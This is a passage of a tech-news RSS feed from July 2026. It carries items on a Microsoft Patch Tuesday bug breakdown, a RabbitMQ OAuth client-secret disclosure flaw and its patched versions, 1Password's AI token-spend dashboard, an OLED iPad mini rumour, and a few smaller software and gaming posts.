Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.</p><p class="">The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.</p><p class="">Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.</p><p class="">Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.</p><p class="">Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[New OLED iPad Mini Might Launch With A Basic 60Hz Display Panel]]></title>
<description><![CDATA[If you were hoping the next small tablet from Apple would finally get a super smooth screen, you might need to adjust your expectations. A recent supply chain leak suggests the much-anticipated iPad mini will switch to a new OLED screen but remain stuck at a basic 60Hz refresh rate.



This rumor...]]></description>
<link>https://tsecurity.de/de/3668404/ios-mac-os/new-oled-ipad-mini-might-launch-with-a-basic-60hz-display-panel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668404/ios-mac-os/new-oled-ipad-mini-might-launch-with-a-basic-60hz-display-panel/</guid>
<pubDate>Tue, 14 Jul 2026 16:57:19 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you were hoping the next small tablet from Apple would finally get a super smooth screen, you might need to adjust your expectations. A recent supply chain leak suggests the much-anticipated iPad mini will switch to a new OLED screen but remain stuck at a basic 60Hz refresh rate.



This rumor comes from a somewhat mixed track record tipster on the Korean blogging platform Naver. The leaker claims a source in the display supply chain shared details about the unreleased device.



New screen tech brings better colors but skips higher speeds



According to the rumor, the tablet will use a low-temperature polycrystalline silicon backplane hybrid OLED panel. This specific technology usually runs at a fixed refresh rate of 60Hz. It is also generally dimmer than the advanced display panels used in the high-end iPad Pro lineup.



Those premium models use a different technology that can dynamically adjust refresh rates from a battery saving 10Hz all the way up to a buttery smooth 120Hz. Fans of the smaller form factor have been waiting for this exact upgrade. Upgrading the screen to OLED will still bring major improvements over the older LCD model. Users can expect deeper black levels, punchier colors, and better overall power efficiency.



Production location leaves room for a possible hardware surprise



There is still a small chance this rumor misses the mark. The same leaker mentioned the upcoming device is currently in mass production at a specific Samsung Display factory in South Korea. That particular production line actually builds both standard 60Hz panels and the more advanced 120Hz versions. So, just knowing where it is made does not completely rule out a faster screen.



We are expecting to see this new hardware launch in late 2026. If it decides to stick with a slower display, it likely believes the smaller tablet does not have a large enough market to justify the expensive panel upgrades seen in its flagship phones. Anyone wanting a full breakdown of the OLED iPad mini 8 release date, specs, price, and what to expect should keep an eye on upcoming factory leaks. As mass production continues through the summer, more concrete display specs will likely surface.



If it does launch with a 60Hz panel, shoppers will have to weigh the beautiful new OLED colors against the lack of a modern, fluid scrolling experience. The picture will become clear once the device finally hits store shelves later this year.]]></content:encoded>
</item>
<item>
<title><![CDATA[1Password moves into AI cost management, betting that token spend is the next enterprise budget crisis]]></title>
<description><![CDATA[1Password on Tuesday launched AI Spend and Consumption Management, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including Anthropic, Cursor, and OpenAI.The ...]]></description>
<link>https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3668120/it-nachrichten/1password-moves-into-ai-cost-management-betting-that-token-spend-is-the-next-enterprise-budget-crisis/</guid>
<pubDate>Tue, 14 Jul 2026 15:32:53 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://1password.com/">1Password</a> on Tuesday launched <a href="https://1password.com/product/saas-manager">AI Spend and Consumption Management</a>, a new capability embedded in its SaaS Manager platform that gives IT and finance teams a unified, real-time view of how their organizations consume and spend on AI services from vendors including <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a>.</p><p>The move marks the latest strategic expansion for a company that built its reputation on password management for consumers and, over the past three years, has aggressively repositioned itself as a broader identity security and SaaS governance platform for enterprise buyers. With this release, 1Password is staking a claim in one of enterprise technology's newest and most chaotic budget categories: the consumption-based cost of large language models.</p><p>"Executives want teams to build faster with AI, but that speed is creating a new kind of spending pressure," Greg Henry, 1Password's chief financial officer, said in an exclusive interview with VentureBeat. "Developers are consuming tokens at a pace that traditional budgets weren't built to manage, and IT and finance teams are being asked to forecast and justify AI investments without a clear view of what's actually driving costs."</p><p>The product, now in public preview with broad availability planned for fall 2026, connects directly to vendor admin APIs to pull token-level consumption data daily. It normalizes that data across providers into a single dashboard and allows organizations to set vendor-level spend limits, configure threshold-based alerts via Slack and email, and break down usage by team, user, vendor, and model.</p><div></div><h2><b>Why traditional software budgets can't keep up with AI token pricing</b></h2><p>The core challenge <a href="https://1password.com/">1Password</a> is targeting is structural. Traditional SaaS pricing operates on a per-seat, per-year model that is easy to budget and reconcile. AI pricing does not. Every API call to <a href="https://claude.ai/">Claude</a>, <a href="https://openai.com/index/gpt-5-6/">GPT-5.6</a>, or a <a href="https://cursor.com/docs/api">Cursor-powered coding assistant</a> consumes tokens, and the cost of those tokens varies by model, by input versus output, and by the complexity of the task. A single engineering team running agentic workflows can burn through a prepaid token budget in weeks — and the finance team may not notice until the invoice arrives.</p><p>Henry drew a sharp analogy to a problem enterprises have already lived through once. "Consumption-based pricing isn't new," he said. "We saw it arrive with cloud infrastructure, and it took years to build the tools and disciplines to manage it. AI is the next version of that shift."</p><p>That comparison resonates across the industry. When <a href="https://aws.amazon.com/">Amazon Web Services</a>, <a href="https://azure.microsoft.com/en-us">Microsoft Azure</a>, and <a href="https://cloud.google.com/">Google Cloud</a> popularized consumption-based pricing for compute and storage in the 2010s, enterprises initially lacked the tooling to monitor and optimize their cloud bills. That gap spawned an entire FinOps ecosystem — companies like CloudHealth, Spot.io, and Apptio built multi-billion-dollar businesses helping organizations understand what they were spending on cloud and why. Henry is explicitly betting that AI token spend will follow the same trajectory, and that organizations that fail to build visibility now will end up, as he put it, "paying far more than they needed to, for far longer than they should have."</p><p>The scale of the coming wave lends credibility to that bet. Goldman Sachs has estimated that token consumption from AI agents alone will grow 24 times by 2030, a projection driven by the expectation that autonomous AI systems will increasingly execute multi-step workflows — booking travel, writing and deploying code, managing customer service interactions — that generate vastly more API calls than a human sitting at a chat interface.</p><h2><b>How 1Password's new dashboard tracks every token across Anthropic, Cursor, and OpenAI</b></h2><p>The new capability extends <a href="https://1password.com/product/saas-manager">1Password SaaS Manager</a>'s existing foundation of application discovery, license management, and spend analytics. It is not a standalone product. Existing SaaS Manager customers can activate it by connecting their supported AI vendor API keys, at which point consumption data flows into a dedicated AI Consumption Management dashboard. Henry confirmed that there is no separate product or add-on fee: "AI Spend and Consumption Management is available to all 1Password SaaS Manager customers."</p><p>The system provides four core functions. First, it aggregates token usage and spend across Anthropic, Cursor, and OpenAI into a single, normalized view — eliminating the need to toggle between three separate vendor dashboards with three different reporting formats. Second, it enables budget controls: organizations can set vendor-level spend limits, configure percentage-based thresholds, and receive automated alerts when prepaid balances approach depletion. Third, it disaggregates consumption by team, user, vendor, and model, allowing finance and IT to understand not just how much is being spent, but where and by whom. Fourth, it situates AI spend within the broader SaaS portfolio, helping organizations see how token costs relate to their total software investment.</p><p>Notably, the system captures consumption regardless of whether a human or an AI agent generated it. "Token consumption is captured at the API level regardless of whether a human or an agent is generating it," Henry explained. "Organizations get the total consumption picture, including the spikes that agent loops can create, which can be some of the hardest usage to catch before it becomes a problem."</p><p>That agent-level visibility matters because autonomous AI systems can generate runaway costs in ways that human users typically cannot. An agentic coding assistant stuck in a retry loop, for example, can consume thousands of dollars in tokens in minutes — with no human in the loop to notice. For now, the product alerts but does not enforce. When asked whether 1Password will eventually give organizations the ability to automatically cut off spending when a threshold is crossed, Henry said the company is "actively evaluating" automatic enforcement but emphasized that visibility must come first: "You can't enforce what you can't see."</p><h2><b>The choice of launch partners reveals where enterprise AI budgets are under the most pressure</b></h2><p>The decision to start with <a href="https://www.anthropic.com/">Anthropic</a>, <a href="https://cursor.com/">Cursor</a>, and <a href="https://openai.com/">OpenAI</a> — rather than casting a wider net — reflects where enterprise AI adoption and budget strain are most concentrated right now. Henry said the choice was driven entirely by customer demand. "Anthropic, Cursor, and OpenAI are where we're seeing the highest adoption, and where token consumption can move fast and get ahead of the teams responsible for managing it," he said. The company plans to add additional vendors based on customer demand, API availability, and budget impact, though it has not committed to a specific timeline or vendor list.</p><p>The inclusion of Cursor alongside the two major foundation model providers is telling. <a href="https://cursor.com/">Cursor</a>, an AI-powered code editor that has rapidly gained traction among developers, represents a category of AI tool where consumption is particularly difficult to forecast. Unlike a chatbot interface where a user consciously types a prompt, Cursor integrates AI suggestions directly into the development workflow, generating token consumption continuously as developers write code. That ambient, always-on consumption pattern makes it especially prone to budget overruns.</p><p>Henry also addressed who inside an organization should actually own this problem — and acknowledged that the honest answer right now is no one. "When spend is fragmented across vendor dashboards and finance teams are reconciling it monthly, you're always behind," he said. "AI spend can't be treated as a finance-only or IT-only problem." He noted that the pricing differences between models have become significant enough that the choice of which AI model a team uses is now a meaningful financial decision, one that is pulling CFOs into conversations with IT, product, and engineering leaders "in ways they never had to before."</p><p>Steve May, director of IT at ServiceTrade, a 1Password customer that has been using the capability, said it addressed a concrete planning gap. "Forecasting tools for AI consumption and spend was one of our biggest gaps in planning because we didn't have a reliable way to track it," May said. He added that the visibility has "prevented overages that would have cost far more to fix after the fact."</p><h2><b>Where 1Password fits in the fast-consolidating SaaS management market</b></h2><p>1Password is not the only company racing to solve the AI cost management problem, but the competitive landscape is still fragmented and the category is far from mature.</p><p><a href="https://zylo.com/">Zylo</a>, a SaaS management platform that Gartner has also recognized as a leader in the space, published its <a href="https://zylo.com/news/2026-saas-management-index">2026 SaaS Management Index</a> in January showing that AI-native application spend surged 393% year over year in organizations with more than 10,000 employees and 108% overall. Zylo's data also revealed that ChatGPT has become the most expensed application in enterprise environments, highlighting how AI tools are entering organizations through employee credit cards and expense reports — outside formal procurement and governance workflows. Zylo has added its own token-level cost tracking for AI vendors including Anthropic, OpenAI, Cursor, and Perplexity.</p><p>Meanwhile, according to a comparison published by <a href="https://coommit.com/blog/saas-management-platforms-2026-zylo-vs-vendr-vs-sastrify">Coommit</a> in May, <a href="https://www.vendr.com/">Vendr</a> — which focuses more on SaaS negotiation than discovery — tracks AI tools at the contract level but does not yet offer consumption-level visibility. And the FinOps Foundation reported in its 2026 State of FinOps survey that 98% of organizations now actively manage AI costs, up from just 31% in 2024. The broader SaaS management market is also consolidating rapidly. In May, Deel acquired Sastrify, a German SaaS management vendor, and began folding it into its HR platform — a signal that SaaS management capabilities are increasingly being absorbed into adjacent enterprise platforms rather than remaining standalone products.</p><p>1Password's approach differs from pure-play SaaS management competitors in one important respect: it is building AI cost management on top of an identity security platform, not a FinOps or procurement tool. The company's SaaS Manager product grew out of its 2025 acquisition of Trelica, a UK-based SaaS access management startup whose technology enabled the discovery of unsanctioned applications — so-called shadow IT. As BetaKit reported at the time of that deal, 1Password co-CEO Jeff Shiner described Trelica as "a pioneer in modern SaaS access management" and said the acquisition would accelerate 1Password's Extended Access Management product roadmap by more than a year. CRN noted that Trelica brought more than 300 SaaS integrations to the platform. That identity-first lineage gives 1Password a natural advantage in connecting spend data to specific users and teams — a linkage that matters when the question shifts from "how much are we spending on AI?" to "who is spending it, and is it delivering value?"</p><h2><b>From password manager to platform company: 1Password's $6.8 billion bet on enterprise identity</b></h2><p>The launch raises a question that Henry addressed head-on: whether a company that started as a consumer password manager can credibly compete in enterprise AI cost management.</p><p>"It doesn't feel like a stretch to us. It feels like a natural progression," he said. "For more than 20 years, 1Password has evolved alongside how our customers work. We started by protecting passwords. Then we helped organizations manage secrets, control access, and get visibility into the applications their teams rely on."</p><p>The company's evolution has been rapid. 1Password raised a $620 million Series C in January 2022 led by ICONIQ Growth, <a href="https://news.crunchbase.com/venture/1password-620m-round-cybersecurity-investor/">reaching a $6.8 billion valuation</a> — at the time, the largest funding round ever raised by a Canadian company, according to Crunchbase. The round also attracted celebrity investors including Ryan Reynolds, Scarlett Johansson, and Robert Downey Jr. As of early 2025, BetaKit reported that 1Password had surpassed $250 million in annual recurring revenue, with B2B sales accounting for nearly three-quarters of total revenue and the company claiming to be cash-flow positive.</p><p>In May 2024, 1Password launched <a href="https://1password.com/extended-access-management">Extended Access Management</a>, a platform designed to secure sign-ins across both managed and unmanaged applications and devices. That same year, it acquired Kolide for device trust and, in early 2025, Trelica for SaaS discovery. In June 2026, Gartner named 1Password a Leader in its Magic Quadrant for SaaS Management Platforms. According to 1Password's own blog post on the recognition, its SaaS Manager now supports over 400 integrations and provides visibility into a library of more than 40,000 pre-populated application profiles. Each step has moved the company further from its consumer roots and deeper into enterprise infrastructure. The AI Spend and Consumption Management launch extends that trajectory into financial operations territory — a domain where 1Password will compete not only with SaaS management vendors but potentially with dedicated FinOps platforms and the AI vendors' own billing dashboards.</p><h2><b>Why high AI token consumption doesn't always mean wasted money</b></h2><p>Perhaps the most revealing part of Henry's commentary concerns what organizations should actually do with the consumption data once they have it. He pushed back forcefully against the assumption that high token consumption automatically signals waste.</p><p>"A team burning through tokens may be building something genuinely valuable," he said. "A lower-usage project might not be moving the business forward at all. What matters is whether that consumption is producing enough business value to justify the spend."</p><p>Henry drew a distinction between personal productivity — "having a bot summarize your meeting or draft a quick email" — and genuine business outcomes. "What organizations need to see is where consumption is actually driving revenue, efficiency, or something that moves the needle."</p><p>That framing positions AI Spend and Consumption Management not just as a cost-cutting tool but as a decision-support system for AI investment allocation. If a CFO can see that one engineering team's heavy Claude usage is powering a product feature that drives revenue, while another team's OpenAI spend is funding low-value internal automation, the organization can reallocate budget accordingly rather than imposing across-the-board cuts.</p><p>"When costs rise faster than expected, the instinct is to cut," Henry said. "But most organizations can't yet tell which teams, models, or tools are responsible for the increase, so they end up cutting across the board rather than directing investment toward the AI projects that are actually delivering business value. Blunt cuts on a technology you're counting on for competitive advantage is not a management strategy, it's a missed opportunity."</p><h2><b>The next enterprise budget crisis is already here — and it's priced per token</b></h2><p>The product's current scope — three vendor integrations, alerting but not enforcement — is clearly a starting point. Henry signaled that automatic spend limits are on the roadmap and that additional vendor integrations will follow based on customer demand.</p><p>But the broader trajectory he described suggests 1Password sees this launch as a wedge into a much larger opportunity. "As traditional SaaS products add AI capabilities, their pricing models are going to follow," he said. "Organizations that build visibility and management discipline around consumption now are going to be in a much better position when that happens across the rest of their software portfolio."</p><p>If Henry is right, the chaos currently confined to AI token budgets is not a temporary growing pain but a preview of how all enterprise software will eventually be priced. A decade ago, companies scrambled to understand their cloud bills. Today, they are scrambling to understand their AI bills. The question is whether the organizations building the dashboards this time around can get ahead of the curve — or whether, as Henry warned, they will end up where so many companies ended up with cloud, realizing too late how much they were overpaying, and for how long.</p><p>AI Spend and Consumption Management is <a href="https://1password.com/lp/saas-manager">available now in public preview</a> for 1Password SaaS Manager customers. Broad availability is planned for fall 2026.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cloud-Zuverlässigkeit im Hyperscale-Maßstab: das neue AIOps-System Brain]]></title>
<description><![CDATA[Das KI-gestützte Cloud-Health-System steuert operative Abläufe in Azure über einen digitalen Zwilling in Echtzeit.]]></description>
<link>https://tsecurity.de/de/3667096/it-nachrichten/cloud-zuverlaessigkeit-im-hyperscale-massstab-das-neue-aiops-system-brain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667096/it-nachrichten/cloud-zuverlaessigkeit-im-hyperscale-massstab-das-neue-aiops-system-brain/</guid>
<pubDate>Tue, 14 Jul 2026 09:03:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das KI-gestützte Cloud-Health-System steuert operative Abläufe in Azure über einen digitalen Zwilling in Echtzeit.]]></content:encoded>
</item>
<item>
<title><![CDATA[RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers]]></title>
<description><![CDATA[A newly disclosed RabbitMQ vulnerability, tracked as CVE-2026-5721, has raised concerns among enterprise users after researchers revealed that the flaw could allow unauthenticated attackers to retrieve a broker's confidential OAuth client secret. The successful exploitation could enable attackers...]]></description>
<link>https://tsecurity.de/de/3666963/it-security-nachrichten/rabbitmq-vulnerability-exposes-oauth-secrets-to-attackers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666963/it-security-nachrichten/rabbitmq-vulnerability-exposes-oauth-secrets-to-attackers/</guid>
<pubDate>Tue, 14 Jul 2026 07:52:08 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1239" height="715" src="https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="CVE-2026-5721" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721.webp 1239w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-300x173.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1024x591.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-768x443.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-600x346.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-150x87.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-750x433.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1140x658.webp 1140w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721.webp 1239w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-300x173.webp 300w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1024x591.webp 1024w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-768x443.webp 768w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-600x346.webp 600w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-150x87.webp 150w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-750x433.webp 750w, https://thecyberexpress.com/wp-content/uploads/CVE-2026-5721-1140x658.webp 1140w" sizes="(max-width: 1239px) 100vw, 1239px" title="RabbitMQ Vulnerability Exposes OAuth Secrets to Attackers 1"></p><span data-contrast="auto">A newly disclosed RabbitMQ vulnerability, tracked as CVE-2026-5721, has raised concerns among enterprise users after researchers revealed that the flaw could allow unauthenticated attackers to retrieve a broker's confidential OAuth client secret. The successful exploitation could enable attackers to impersonate the broker, obtain administrator-level access, and potentially take control of the messaging infrastructure.</span><span data-ccp-props='{"134233117":false,"134233118":false,"201341983":0,"335551550":1,"335551620":1,"335559685":0,"335559737":0,"335559738":240,"335559739":240,"335559740":279}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-5721 Allows Exposure of OAuth Client Secrets</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">RabbitMQ, a widely used open source message broker that enables asynchronous communication by routing, buffering, and distributing messages between applications, is affected by the issue. The CVE-2026-5721 flaw carries a CVSS severity score of 8.7 and stems from an exposed management endpoint that returns the OAuth client secret without requiring authentication.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The RabbitMQ <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="28951">vulnerability</a> originates from an obsolete endpoint in the platform's management web interface. It can be exploited when <a href="https://thecyberexpress.com/blackbasta-ransomware-attack-us-organisations/" target="_blank" rel="noopener">administrators</a> configure the broker with a confidential password for identity provider authentication. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risk" data-wpil-keyword-link="linked" data-wpil-monitor-id="28952">risk</a> is particularly significant in deployments using OAuth 2.0 or OpenID Connect identity providers such as Auth0, Azure AD/Entra ID, Keycloak, or UAA, where confidential client secrets are commonly configured. In such environments, attackers exploiting CVE-2026-5721 could obtain administrator tokens and gain control over users, queues, messages, and broker configurations.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Which RabbitMQ Deployments Are at Risk?</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">However, systems without a configured client secret are not vulnerable because there is no credential to expose. Likewise, RabbitMQ deployments that do not use the management plugin are unaffected by this RabbitMQ vulnerability.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Cybersecurity firm Miggo <a href="https://www.miggo.io/post/full-broker-takeover-no-login-required-miggo-discovers-critical-rabbitmq-vulnerabilities-putting-application-data-at-risk" target="_blank" rel="nofollow noopener">warned</a> that the highest risk exists when the management interface is accessible from untrusted networks. The risk is sharpest wherever the management port is reachable by an untrusted network: cloud or multi-tenant setups, or a management UI accidentally exposed to the <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-is-internet/" title="internet" data-wpil-keyword-link="linked" data-wpil-monitor-id="28953">internet</a>," the company said.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The CVE-2026-5721 flaw was introduced in RabbitMQ version 3.13.0 in early 2024. It has since been patched in versions 4.3.0, 4.2.6, 4.1.11, 4.0.20, and 3.13.15.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Patches Also Address a Second Security Flaw</span></b><span data-ccp-props='{"134233117":false,"134233118":false,"134245418":true,"134245529":true,"335551550":0,"335551620":0,"335559738":299,"335559739":299}'> </span></h3>
<span data-contrast="auto">The security updates also fix CVE-2026-57221, a medium-severity vulnerability with a <a href="https://thecyberexpress.com/vulnerability-in-moveit-transfer-exploited/" target="_blank" rel="noopener">CVSS</a> score of 5.3. This authorization issue allows any authenticated user to enumerate queues and exchanges while viewing related statistics. According to Miggo, attackers could use the flaw to map an organization's virtual host, infer business activity, and collect intelligence for future attacks, particularly in multi-tenant environments where multiple teams or applications share the same virtual host.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">To reduce exposure to the RabbitMQ vulnerability, organizations are advised to update affected deployments immediately, restrict access to vulnerable systems if patching cannot be performed, prevent public exposure of the management interface, implement network segmentation, and rotate OAuth client secrets. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Although there is currently no evidence that CVE-2026-5721 has been <a href="https://thecyberexpress.com/critical-mongobleed-flaw-exploited-in-the-wild/" target="_blank" rel="noopener">exploited in the wild</a>, Miggo noted, "Neither of these RabbitMQ bugs is exotic. They sat in the codebase for over two years. They are precisely the kind of quiet, systemic inconsistency that hides in mature, widely deployed software: the kind a human reviewer reads past, and a single-pass tool fails to compare against everything around it."</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Convert Minecraft Bedrock Seeds to Java Edition]]></title>
<description><![CDATA[Minecraft is available on all popular platforms/devices, from desktop computers to mobile phones. Some platforms even have more than one edition of the game. Two of the most widely played are Minecraft Bedrock Edition and Minecraft Java Edition — and knowing how to use bedrock seeds to java world...]]></description>
<link>https://tsecurity.de/de/3666687/betriebssysteme/how-to-convert-minecraft-bedrock-seeds-to-java-edition/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666687/betriebssysteme/how-to-convert-minecraft-bedrock-seeds-to-java-edition/</guid>
<pubDate>Tue, 14 Jul 2026 03:39:13 +0200</pubDate>
<category>🖥️  Betriebssysteme</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Minecraft is available on all popular platforms/devices, from desktop computers to mobile phones. Some platforms even have more than one edition of the game. Two of the most widely played are Minecraft Bedrock Edition and Minecraft Java Edition — and knowing how to use bedrock seeds to java worlds, and vice versa, matters a great […]</p>
<p>The post <a rel="nofollow" href="https://www.addictivetips.com/gaming/minecraft-bedrock-seeds-to-java/">How to Convert Minecraft Bedrock Seeds to Java Edition</a> appeared first on <a rel="nofollow" href="https://www.addictivetips.com/">AddictiveTips</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v1.17.20]]></title>
<description><![CDATA[Core
Bugfixes

Removed an obsolete Codex workaround that could interfere with OpenAI Luna Responses Lite requests.

Improvements

Updated Azure AI support for GPT-5.6.]]></description>
<link>https://tsecurity.de/de/3666481/downloads/v11720/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666481/downloads/v11720/</guid>
<pubDate>Mon, 13 Jul 2026 23:16:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>Core</h2>
<h3>Bugfixes</h3>
<ul>
<li>Removed an obsolete Codex workaround that could interfere with OpenAI Luna Responses Lite requests.</li>
</ul>
<h3>Improvements</h3>
<ul>
<li>Updated Azure AI support for GPT-5.6.</li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[7 newer data science tools you should be using with Python]]></title>
<description><![CDATA[Python’s rich ecosystem of data science tools is a big draw for users. The only downside of such a broad and deep collection is that sometimes the best tools can get overlooked.



Here’s a rundown of some of the best newer or less-known data science projects available for Python. Some, like Pola...]]></description>
<link>https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3665680/ai-nachrichten/7-newer-data-science-tools-you-should-be-using-with-python/</guid>
<pubDate>Mon, 13 Jul 2026 17:04:47 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



